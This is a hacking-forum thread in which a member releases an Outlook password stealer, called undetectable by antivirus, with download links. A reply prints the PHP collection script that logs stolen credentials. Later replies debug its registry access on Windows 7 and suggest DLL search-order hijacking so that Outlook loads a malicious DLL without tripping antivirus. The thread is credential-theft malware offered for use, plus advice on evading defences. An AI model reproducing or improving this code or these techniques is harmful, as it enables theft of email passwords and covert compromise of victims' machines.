Author Topic: [C++] Outlooker  (Read 3326 times)

0 Members and 1 Guest are viewing this topic.

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
[C++] Outlooker
« on: August 28, 2013, 09:41:00 pm »
My most recent project I didn't talk about. I don't have a lot to say about it...

It is a simple Outlook (for older versions) password grabber. Gets the password along with other additional info and sends to a specified server (PHP code included).
Only supports XP for some reason. Tested and works on Outlook 2003 and 2007, will probably work with 2010 and newest too. AFAIK it's FUD for now.
Thanks to RedBullAddicted for testing it out <3

Why it does not work on Windows 7, as reported by RBA is something I didn't figure out, and I didn't really try to, because Outlooker was sufficient enough for my needs and now I am posting for people to learn from, mostly, because I had a great deal of frustration, pleasure and experience while coding it and solving bugs. I hope it will serve people as a project to learn from :)

Made in Code::Blocks.

So here are the downloads:
Whole code (isn't big, fits on one file): main.cpp
Whole project (with web backend code in the archive): Outlooker.zip

Offline vezzy

  • Royal Highness
  • ****
  • Posts: 771
  • Cookies: 172
    • View Profile
Re: [C++] Outlooker
« Reply #1 on: August 28, 2013, 09:46:39 pm »
Code: (PHP) [Select]
<?
if (isset($_POST["contents"])) {
$contents = str_repeat("-", 30)."\r\n".date("[Y.m.d, H:i:s]", time())."\r\n".$_POST["contents"]."\r\n".str_repeat("-", 30)."\r\n\r\n";
file_put_contents("contents.txt", $contents, FILE_APPEND | LOCK_EX);
} else {
header("Location: http://www.goatse.fr/hello.jpg");
die();
}
?>

+1
Quote from: Dippy hippy
Just brushing though. I will be semi active mainly came to find a HQ botnet, like THOR or just any p2p botnet

Offline Phage

  • VIP
  • Overlord
  • *
  • Posts: 1280
  • Cookies: 120
    • View Profile
Re: [C++] Outlooker
« Reply #2 on: August 28, 2013, 10:00:44 pm »
Tha...that...picture  :o
"Ruby devs do, in fact, get all the girls. No girl wants a python, but EVERY girl wants rubies" - connection

"It always takes longer than you expect, even when you take into account Hofstadter’s Law."

Offline namespace7

  • Sir
  • ***
  • Posts: 561
  • Cookies: 115
  • My Brother's Keeper
    • View Profile
Re: [C++] Outlooker
« Reply #3 on: August 28, 2013, 10:04:11 pm »
That picture is disturbing.

Otherwise, +1.
"A programmer’s greatest enemy isn’t the tools or the boss or the artists or the design or the legacy code or the third party code or the API or the OS. A programmer’s greatest enemy is getting stuck.
Therefore a crucial step to becoming a better programmer is learning how to avoid getting stuck, to recognize when you’re stuck, and to get unstuck." -Jeff Wofford

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [C++] Outlooker
« Reply #4 on: August 29, 2013, 06:32:07 am »
The picture is there to scare away the noobs sniffing around the receiving script :P

Offline Axon

  • VIP
  • King
  • *
  • Posts: 2047
  • Cookies: 319
    • View Profile
Re: [C++] Outlooker
« Reply #5 on: August 29, 2013, 07:15:43 am »
Windows7 uses outlook 2010, at least where I work all windows7 systems are configured to use outlook 2010.

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [C++] Outlooker
« Reply #6 on: August 29, 2013, 08:15:48 am »
It would be worth more if it did work on win7. But I will not continue work on it, maybe someone will pick up where I left and fix the issue :P

Offline Stackprotector

  • Administrator
  • Titan
  • *
  • Posts: 2515
  • Cookies: 205
    • View Profile
Re: [C++] Outlooker
« Reply #7 on: December 17, 2013, 08:53:47 pm »
What about office 365 ( which i hate infact, it deletes itself in most cases)
~Factionwars

Offline ArkPhaze

  • Peasant
  • *
  • Posts: 136
  • Cookies: 20
  • null terminated
    • View Profile
Re: [C++] Outlooker
« Reply #8 on: December 26, 2013, 04:03:51 am »
Windows7 uses outlook 2010, at least where I work all windows7 systems are configured to use outlook 2010.

Are you saying that 2010 is a standard for Windows 7? ... That would be wrong, Windows 7 doesn't use 2010, it uses whatever Office version you've installed lol.

I would assume that it fails on Windows 7 because of the permission issues that were introduced ever since Vista and UAC. I'll have to take a look at the source code in more depth before I can verify that, but I don't see why it should be anything else if the same constraints were enforced with Outlook versions and whatnot during the tests.

edit: You are making the assumption that you have proper access to that registry location, even though you're being greedy and requesting all access, when you only need to read the value... A feature of the access control model may prevent this. Although, the issue here is with views to the registry WOW64 . Read this: http://msdn.microsoft.com/en-us/library/windows/desktop/aa384232%28v=vs.85%29.aspx

And this: http://msdn.microsoft.com/en-us/library/windows/desktop/aa384129%28v=vs.110%29.aspx

Quote
By default, a 32-bit application running on WOW64 accesses the 32-bit registry view and a 64-bit application accesses the 64-bit registry view. The following flags enable 32-bit applications to access redirected keys in the 64-bit registry view and 64-bit applications to access redirected keys in the 32-bit registry view. These flags have no effect on shared registry keys.

From my testing RegOpenKeyEx() is returning ERROR_FILE_NOT_FOUND, meaning redirection is acting against it from what I can tell. What environments did RBA test this on exactly?

http://msdn.microsoft.com/en-us/library/windows/desktop/aa384253%28v=vs.85%29.aspx

An option I would've went with is to get Outlook to load your malicious DLL that calls to open and query the registry. This way, you'd inherently be granted the permissions of that process which probably already makes subsequent calls to check the registry value itself, and all you'd have to focus on is grabbing that value and sending it over. Look up the order in which DLL's are located, and enumerate the KnownDLL's object to make sure that the one you've chosen doesn't exist in System32. The domino effect starts as soon as a reboot takes place and Office is loaded at startup. The other way would be to inject directly, but an AV might be more aware of that. ;)

edit: You're using a lot of code that looks more like genuine C, for a C++ project however.

Nice idea though. You should look at how lame the protection is for the PST file format too lol.
« Last Edit: December 26, 2013, 04:45:06 am by ArkPhaze »
sig=: ArkPhaze

[ J/ASM/.NET/C/C++ - Software Engineer ]

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [C++] Outlooker
« Reply #9 on: December 26, 2013, 11:42:24 am »
Thanks for all your suggestions, ArkPhaze. I request that permission on registry because I'm not just reading, I'm also writing for every POP account - putting a value in the registry to tell Outlook it should not delete emails from the server once synched.

If you want, you can start on it to improve it :)

Offline ArkPhaze

  • Peasant
  • *
  • Posts: 136
  • Cookies: 20
  • null terminated
    • View Profile
Re: [C++] Outlooker
« Reply #10 on: December 26, 2013, 10:37:21 pm »
Thanks for all your suggestions, ArkPhaze. I request that permission on registry because I'm not just reading, I'm also writing for every POP account - putting a value in the registry to tell Outlook it should not delete emails from the server once synched.

If you want, you can start on it to improve it :)

I didn't get that far. Still, a source like this is better than half the crap I see on most of the other forums I go to lol. It's a refresher..

Nice work as I said.
« Last Edit: December 26, 2013, 10:38:01 pm by ArkPhaze »
sig=: ArkPhaze

[ J/ASM/.NET/C/C++ - Software Engineer ]